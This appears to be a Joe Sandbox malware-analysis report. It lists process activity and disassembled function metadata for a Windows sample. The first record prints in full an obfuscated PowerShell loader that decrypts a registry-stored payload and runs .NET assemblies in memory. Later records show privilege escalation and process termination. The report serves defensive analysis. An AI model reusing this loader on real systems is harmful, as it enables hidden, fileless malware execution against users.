Commandline:	"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(5088).WaitForExit();[System.Threading.Thread]::Sleep(5000); function ZXowG($YGfCS){ $HJBVM=[System.Security.Cryptography.Aes]::Create(); $HJBVM.Mode=[System.Security.Cryptography.CipherMode]::CBC; $HJBVM.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $HJBVM.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jR/ER/S13sxmxzdcDQ4cx+zLfjuBr/t1zOyGZlvi3Nc='); $HJBVM.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RiGEPzaIqqVKtP3vMKz42w=='); $SHNYR=$HJBVM.('rotpyrceDetaerC'[-1..-15] -join '')(); $ptoRz=$SHNYR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YGfCS, 0, $YGfCS.Length); $SHNYR.Dispose(); $HJBVM.Dispose(); $ptoRz;}function MiajR($YGfCS){ $VHZiJ=New-Object System.IO.MemoryStream(,$YGfCS); $MKYCr=New-Object System.IO.MemoryStream; $pphYy=New-Object System.IO.Compression.GZipStream($VHZiJ, [IO.Compression.CompressionMode]::Decompress); $pphYy.CopyTo($MKYCr); $pphYy.Dispose(); $VHZiJ.Dispose(); $MKYCr.Dispose(); $MKYCr.ToArray();}function DEttm($YGfCS,$ZtwIE){ $mZolj=[System.Reflection.Assembly]::Load([byte[]]$YGfCS); $lOFyP=$mZolj.EntryPoint; $lOFyP.Invoke($null, $ZtwIE);}$HJBVM1 = New-Object System.Security.Cryptography.AesManaged;$HJBVM1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$HJBVM1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$HJBVM1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jR/ER/S13sxmxzdcDQ4cx+zLfjuBr/t1zOyGZlvi3Nc=');$HJBVM1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RiGEPzaIqqVKtP3vMKz42w==');$GhtEl = $HJBVM1.('rotpyrceDetaerC'[-1..-15] -join '')();$tSRUF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/drqfgtKhdXyibTYP3tLyQ==');$tSRUF = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tSRUF, 0, $tSRUF.Length);$tSRUF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tSRUF);$tbgVF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uYhEUY/+HnwQeclFyB1FDUqtQym+nHVdwwfjEKKh6LU=');$tbgVF = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tbgVF, 0, $tbgVF.Length);$tbgVF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tbgVF);$mjWsq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('v2S4NwnXvXtvXwhesSwNIQ==');$mjWsq = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mjWsq, 0, $mjWsq.Length);$mjWsq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mjWsq);$iBFKh = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RZnS/OPKxZu99whpuaUC1mhVovuCskWdCRfz1FlzhkQ9viPcHXWbSXtn8ebOdAixZCvIKg7kNsNJQfjixS10DgPnP1RgMFsS0Ufgfy1HhpeBrScxYLrFwuGlVdIKxKsNCNlET01ZQTP7t1afzsZuiFRyhdaoNNd/a48fSObOV6s0Dg4uz6IT5eoHk560k0oKDQhofXeJn4REmUW/Qa+OFgHhvk0nKSZmZIWIfiCOl824A/iJhUAIvvnXISy3KfqXbk9SxrWiI48yb3R5eHDU2SFOOdwj4/P9sUdFWqjTGEiXdZH4kVSXjz0XVe4ZYpD+he6+N8ebMZVScb8HKUN/+DzmXUfDtfwWV5MarCY6ZdmO2yJ4s2sbOzZsPvxKUwPa7yfFsYHuzQ4rPk9Yysf5MqWX04//4DGnhGl+/sl+WZ0=');$iBFKh = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iBFKh, 0, $iBFKh.Length);$iBFKh = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($iBFKh);$sRLEH = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NPfQRzZslsp7LUVLS08LhQ==');$sRLEH = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($sRLEH, 0, $sRLEH.Length);$sRLEH = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($sRLEH);$sLsEZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bw6rZXASWFOFrL4CLrePaw==');$sLsEZ = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($sLsEZ, 0, $sLsEZ.Length);$sLsEZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($sLsEZ);$SPFoS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QYOQkrgRiSqCZw4PoX3ndQ==');$SPFoS = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($SPFoS, 0, $SPFoS.Length);$SPFoS = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($SPFoS);$xCumf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SdFQ7WIJndJ4NA0XksAXZg==');$xCumf = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xCumf, 0, $xCumf.Length);$xCumf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xCumf);$WAkXF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AR4GvTa2A8uikK6+T2nKoQ==');$WAkXF = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WAkXF, 0, $WAkXF.Length);$WAkXF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WAkXF);$tSRUF0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('L3o7gT8T96iY71qHMveksg==');$tSRUF0 = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tSRUF0, 0, $tSRUF0.Length);$tSRUF0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tSRUF0);$tSRUF1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('E8Y/0E3VS02vVNfuFqTGCw==');$tSRUF1 = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tSRUF1, 0, $tSRUF1.Length);$tSRUF1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tSRUF1);$tSRUF2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3ob3sb5+Bgi0uwQxb9HNKg==');$tSRUF2 = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tSRUF2, 0, $tSRUF2.Length);$tSRUF2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tSRUF2);$tSRUF3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('E46YnTPfmALJD+Ie1fVvGQ==');$tSRUF3 = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tSRUF3, 0, $tSRUF3.Length);$tSRUF3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tSRUF3);$GhtEl.Dispose();$HJBVM1.Dispose();if (@(get-process -ea silentlycontinue $tSRUF3).count -gt 1) {exit};$BcpNi = [Microsoft.Win32.Registry]::$xCumf.$SPFoS($tSRUF).$sLsEZ($tbgVF);$QCqEG=[string[]]$BcpNi.Split('\');$BPwjg=MiajR(ZXowG([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QCqEG[1])));DEttm $BPwjg (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$RLOOe = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QCqEG[0]);$HJBVM = New-Object System.Security.Cryptography.AesManaged;$HJBVM.Mode = [System.Security.Cryptography.CipherMode]::CBC;$HJBVM.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$HJBVM.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jR/ER/S13sxmxzdcDQ4cx+zLfjuBr/t1zOyGZlvi3Nc=');$HJBVM.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RiGEPzaIqqVKtP3vMKz42w==');$SHNYR = $HJBVM.('rotpyrceDetaerC'[-1..-15] -join '')();$RLOOe = $SHNYR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RLOOe, 0, $RLOOe.Length);$SHNYR.Dispose();$HJBVM.Dispose();$VHZiJ = New-Object System.IO.MemoryStream(, $RLOOe);$MKYCr = New-Object System.IO.MemoryStream;$pphYy = New-Object System.IO.Compression.GZipStream($VHZiJ, [IO.Compression.CompressionMode]::$tSRUF1);$pphYy.$WAkXF($MKYCr);$pphYy.Dispose();$VHZiJ.Dispose();$MKYCr.Dispose();$RLOOe = $MKYCr.ToArray();$jMAvT = $iBFKh \| IEX;$mZolj = $jMAvT::$tSRUF2($RLOOe);$lOFyP = $mZolj.EntryPoint;$lOFyP.$tSRUF0($null, (, [string[]] ($mjWsq)))
Imagebase:	0x7ff731020000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	16:55:42
Start date:	03/12/2023
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\dllhost.exe /Processid:{ee0091e4-9e0c-4ff3-b26f-57d4a238bd7c}
Imagebase:	0x7ff70f330000
File size:	21'312 bytes
MD5 hash:	08EB78E5BE019DF044C26B14703BD1FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	16:55:42
Start date:	03/12/2023
Path:	C:\Windows\SysWOW64\dllhost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\dllhost.exe /Processid:{f5381469-1700-4694-82dd-1722ad94b3e0}
Imagebase:	0x7ff6eef20000
File size:	19'256 bytes
MD5 hash:	6F3C9485F8F97AC04C8E43EF4463A68C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	16:55:42
Start date:	03/12/2023
Path:	C:\Windows\System32\winlogon.exe
Wow64 process (32bit):	false
Commandline:	winlogon.exe
Imagebase:	0x7ff7cd660000
File size:	906'240 bytes
MD5 hash:	F8B41A1B3E569E7E6F990567F21DCE97
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	16:55:42
Start date:	03/12/2023
Path:	C:\Windows\System32\lsass.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\lsass.exe
Imagebase:	0x7ff7a2ae0000
File size:	59'456 bytes
MD5 hash:	A1CC00332BBF370654EE3DC8CDC8C95A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	16:55:43
Start date:	03/12/2023
Path:	C:\Windows\SysWOW64\wbem\WmiPrvSE.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0xdd0000
File size:	418'304 bytes
MD5 hash:	64ACA4F48771A5BA50CD50F2410632AD
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	16:55:43
Start date:	03/12/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	16:55:43
Start date:	03/12/2023
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\dllhost.exe /Processid:{f78b27af-93da-4459-95e7-4c5d26a44dc8}
Imagebase:	0x7ff70f330000
File size:	21'312 bytes
MD5 hash:	08EB78E5BE019DF044C26B14703BD1FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	16:55:43
Start date:	03/12/2023
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\dllhost.exe /Processid:{85d85a52-fed6-47b1-b615-c3a69ff1ad14}
Imagebase:	0x7ff70f330000
File size:	21'312 bytes
MD5 hash:	08EB78E5BE019DF044C26B14703BD1FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	16:55:43
Start date:	03/12/2023
Path:	C:\Windows\System32\dwm.exe
Wow64 process (32bit):	false
Commandline:	dwm.exe
Imagebase:	0x7ff74e710000
File size:	94'720 bytes
MD5 hash:	5C27608411832C5B39BA04E33D53536C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	16:55:44
Start date:	03/12/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	16:55:45
Start date:	03/12/2023
Path:	C:\Windows\SysWOW64\dllhost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\dllhost.exe /Processid:{8c0bd129-911b-4af2-a0bc-93995d45cd5f}
Imagebase:	0xf80000
File size:	19'256 bytes
MD5 hash:	6F3C9485F8F97AC04C8E43EF4463A68C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	16:55:45
Start date:	03/12/2023
Path:	C:\Windows\SysWOW64\dllhost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\dllhost.exe /Processid:{0979c3ff-3e63-4ea9-9d2b-0e24c33cbca9}
Imagebase:	0xf80000
File size:	19'256 bytes
MD5 hash:	6F3C9485F8F97AC04C8E43EF4463A68C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	16:55:45
Start date:	03/12/2023
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\dllhost.exe /Processid:{59453cd9-80c7-4c7f-84ca-38ec20f032b9}
Imagebase:	0x7ff70f330000
File size:	21'312 bytes
MD5 hash:	08EB78E5BE019DF044C26B14703BD1FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	16:55:45
Start date:	03/12/2023
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\dllhost.exe /Processid:{8b9e4941-156b-4561-b75c-88dc752d3d8b}
Imagebase:	0x7ff70f330000
File size:	21'312 bytes
MD5 hash:	08EB78E5BE019DF044C26B14703BD1FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	16:55:45
Start date:	03/12/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	16:55:45
Start date:	03/12/2023
Path:	C:\Program Files (x86)\WWvRtdUZZZirKKsEfpbPzrCIpjHkNCubfPaYwidQSHYMBQUEtxZljoDcrOQsfKtQSiG\PHZMpSLEzcFKaRUZszZmeOVApLd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\WWvRtdUZZZirKKsEfpbPzrCIpjHkNCubfPaYwidQSHYMBQUEtxZljoDcrOQsfKtQSiG\PHZMpSLEzcFKaRUZszZmeOVApLd.exe"
Imagebase:	0x590000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	16:55:45
Start date:	03/12/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	16:55:45
Start date:	03/12/2023
Path:	C:\Program Files (x86)\WWvRtdUZZZirKKsEfpbPzrCIpjHkNCubfPaYwidQSHYMBQUEtxZljoDcrOQsfKtQSiG\PHZMpSLEzcFKaRUZszZmeOVApLd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\WWvRtdUZZZirKKsEfpbPzrCIpjHkNCubfPaYwidQSHYMBQUEtxZljoDcrOQsfKtQSiG\PHZMpSLEzcFKaRUZszZmeOVApLd.exe"
Imagebase:	0x590000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	16:55:46
Start date:	03/12/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	16:55:46
Start date:	03/12/2023
Path:	C:\Windows\SysWOW64\dllhost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\dllhost.exe /Processid:{da1a065e-b06d-4c17-9fd5-69413fe213f9}
Imagebase:	0xf80000
File size:	19'256 bytes
MD5 hash:	6F3C9485F8F97AC04C8E43EF4463A68C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	16:55:46
Start date:	03/12/2023
Path:	C:\Windows\SysWOW64\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\SysWOW64\dllhost.exe /Processid:{2c62f067-a6a0-49cc-8f1a-bf6b18a4e5be}
Imagebase:	0xf80000
File size:	19'256 bytes
MD5 hash:	6F3C9485F8F97AC04C8E43EF4463A68C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	16:55:47
Start date:	03/12/2023
Path:	C:\Program Files (x86)\WWvRtdUZZZirKKsEfpbPzrCIpjHkNCubfPaYwidQSHYMBQUEtxZljoDcrOQsfKtQSiG\PHZMpSLEzcFKaRUZszZmeOVApLd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\WWvRtdUZZZirKKsEfpbPzrCIpjHkNCubfPaYwidQSHYMBQUEtxZljoDcrOQsfKtQSiG\PHZMpSLEzcFKaRUZszZmeOVApLd.exe"
Imagebase:	0x590000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	47.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	74.4%
Total number of Nodes:	43
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0000000140001014 Relevance: 58.0, APIs: 29, Strings: 4, Instructions: 218
memoryregistrycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 0000000140001027
OpenProcess.KERNEL32 ref: 0000000140001037
OpenProcessToken.ADVAPI32 ref: 0000000140001051
LookupPrivilegeValueW.ADVAPI32 ref: 0000000140001068
AdjustTokenPrivileges.ADVAPI32 ref: 00000001400010A4
GetLastError.KERNEL32 ref: 00000001400010AE
CloseHandle.KERNEL32 ref: 00000001400010B7
RegOpenKeyExW.ADVAPI32 ref: 00000001400010DD
RegDeleteValueW.ADVAPI32 ref: 00000001400010F2
SysAllocString.OLEAUT32 ref: 00000001400010FF
SysAllocString.OLEAUT32 ref: 000000014000110F
CoInitializeEx.OLE32 ref: 000000014000111C
CoInitializeSecurity.OLE32 ref: 0000000140001156
CoCreateInstance.OLE32 ref: 0000000140001195
VariantInit.OLEAUT32 ref: 00000001400011A7
CoUninitialize.OLE32 ref: 000000014000123B
SysFreeString.OLEAUT32 ref: 0000000140001244
SysFreeString.OLEAUT32 ref: 000000014000124D
GetProcessHeap.KERNEL32 ref: 0000000140001253
HeapAlloc.KERNEL32 ref: 0000000140001264
OpenProcess.KERNEL32 ref: 00000001400012A8
TerminateProcess.KERNEL32 ref: 00000001400012BB
CloseHandle.KERNEL32 ref: 00000001400012C4
GetProcessHeap.KERNEL32 ref: 00000001400012D4
HeapFree.KERNEL32 ref: 00000001400012E2
RtlDeleteBoundaryDescriptor.NTDLL ref: 00000001400012E8
HeapAlloc.KERNEL32 ref: 00000001400012F9
GetProcessHeap.KERNEL32 ref: 0000000140001342
HeapFree.KERNEL32 ref: 0000000140001350

Strings

SOFTWARE, xrefs: 00000001400010CF
$sxrsvc64, xrefs: 00000001400010F8
SeDebugPrivilege, xrefs: 0000000140001061
$sxrstager, xrefs: 00000001400010EB

Memory Dump Source

Source File: 00000006.00000002.1875169417.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_dllhost.jbxd

Similarity

API ID: Process$Heap$AllocFreeOpenString$CloseDeleteHandleInitializeTokenValue$AdjustBoundaryCreateCurrentDescriptorErrorInitInstanceLastLookupPrivilegePrivilegesSecurityTerminateUninitializeVariant
String ID: $sxrstager$$sxrsvc64$SOFTWARE$SeDebugPrivilege
API String ID: 1045860391-566595606
Opcode ID: 33545f7b093bffa7e6d6e68f596167ee68986d03797a0cce563c85867658168a
Instruction ID: 783fc730cd4673971968b08ac741f1a1a7a0f0db785b3f54083c1a857c08c9a6
Opcode Fuzzy Hash: 33545f7b093bffa7e6d6e68f596167ee68986d03797a0cce563c85867658168a
Instruction Fuzzy Hash: 60A117B2700B4586EB16CF66F8543E923A5FB8DB89F448125EF0E47AA5DF38D549C300

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140001368 Relevance: 19.6, APIs: 13, Instructions: 130
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000000014000139B
HeapAlloc.KERNEL32 ref: 00000001400013AE
GetProcessHeap.KERNEL32 ref: 00000001400013BC
HeapAlloc.KERNEL32 ref: 00000001400013CD
K32EnumProcesses.KERNEL32 ref: 00000001400013E7
OpenProcess.KERNEL32 ref: 0000000140001415
K32EnumProcessModules.KERNEL32 ref: 000000014000143A
ReadProcessMemory.KERNEL32 ref: 0000000140001471
CloseHandle.KERNEL32 ref: 00000001400014B6
GetProcessHeap.KERNEL32 ref: 00000001400014C8
HeapFree.KERNEL32 ref: 00000001400014D6
RtlDeleteBoundaryDescriptor.NTDLL ref: 00000001400014DC
HeapFree.KERNEL32 ref: 00000001400014EA

Memory Dump Source

Source File: 00000006.00000002.1875169417.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_dllhost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFree$BoundaryCloseDeleteDescriptorHandleMemoryModulesOpenProcessesRead
String ID:
API String ID: 4093845160-0
Opcode ID: 5c9e6c8d196d291886fbe90ea79c47c3ea45cb56a21c54cb6fbac88e5fb9df12
Instruction ID: 0c4118f11d38248736db898342297cfd33e1e7ee26b5e3befa791c7e9a42177d
Opcode Fuzzy Hash: 5c9e6c8d196d291886fbe90ea79c47c3ea45cb56a21c54cb6fbac88e5fb9df12
Instruction Fuzzy Hash: 58514AB2611B818AEB66DF63B8587DA22A1F78DBC4F444025EF4A5B764DF38C545C700

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140000231 Relevance: 2.5, APIs: 1, Instructions: 1021
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32 ref: 000000014000100B

Memory Dump Source

Source File: 00000006.00000002.1875169417.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_dllhost.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 7ac854e1e7e6dbe7a1b520466d2429235592816ec396c733cc4186b22ad55d33
Instruction ID: 71e4820d4104f39f37cf17a5aebe01a9dbe568c608f41c0cf1242f6b27dbe954
Opcode Fuzzy Hash: 7ac854e1e7e6dbe7a1b520466d2429235592816ec396c733cc4186b22ad55d33
Instruction Fuzzy Hash: 84E0426350E3C10FC7038B74586419C3FB09796A50B8EC59BC385C3383C61C5409C312

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140001000 Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001014: GetCurrentProcessId.KERNEL32 ref: 0000000140001027
Part of subcall function 0000000140001014: OpenProcess.KERNEL32 ref: 0000000140001037
Part of subcall function 0000000140001014: OpenProcessToken.ADVAPI32 ref: 0000000140001051
Part of subcall function 0000000140001014: LookupPrivilegeValueW.ADVAPI32 ref: 0000000140001068
Part of subcall function 0000000140001014: AdjustTokenPrivileges.ADVAPI32 ref: 00000001400010A4
Part of subcall function 0000000140001014: GetLastError.KERNEL32 ref: 00000001400010AE
Part of subcall function 0000000140001014: CloseHandle.KERNEL32 ref: 00000001400010B7
Part of subcall function 0000000140001014: RegOpenKeyExW.ADVAPI32 ref: 00000001400010DD
Part of subcall function 0000000140001014: RegDeleteValueW.ADVAPI32 ref: 00000001400010F2
Part of subcall function 0000000140001014: SysAllocString.OLEAUT32 ref: 00000001400010FF
Part of subcall function 0000000140001014: SysAllocString.OLEAUT32 ref: 000000014000110F
Part of subcall function 0000000140001014: CoInitializeEx.OLE32 ref: 000000014000111C
Part of subcall function 0000000140001014: CoInitializeSecurity.OLE32 ref: 0000000140001156
Part of subcall function 0000000140001014: CoCreateInstance.OLE32 ref: 0000000140001195
Part of subcall function 0000000140001014: VariantInit.OLEAUT32 ref: 00000001400011A7

ExitProcess.KERNEL32 ref: 000000014000100B

Memory Dump Source

Source File: 00000006.00000002.1875169417.0000000140000000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_dllhost.jbxd

Similarity

API ID: Process$Open$AllocInitializeStringTokenValue$AdjustCloseCreateCurrentDeleteErrorExitHandleInitInstanceLastLookupPrivilegePrivilegesSecurityVariant
String ID:
API String ID: 767316500-0
Opcode ID: 744f39d44c6e1cf923b69681ca2190275410b93513addb8cd57da560c05945df
Instruction ID: 146724fef438b737ed00828a951e49ec2c44f6708d9892ddea2fdd56566e6da4
Opcode Fuzzy Hash: 744f39d44c6e1cf923b69681ca2190275410b93513addb8cd57da560c05945df
Instruction Fuzzy Hash: 65A011B0A00280A2EA0AFBB2388A3C800200B88380F000808A30A832B3CE3C00C88220

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

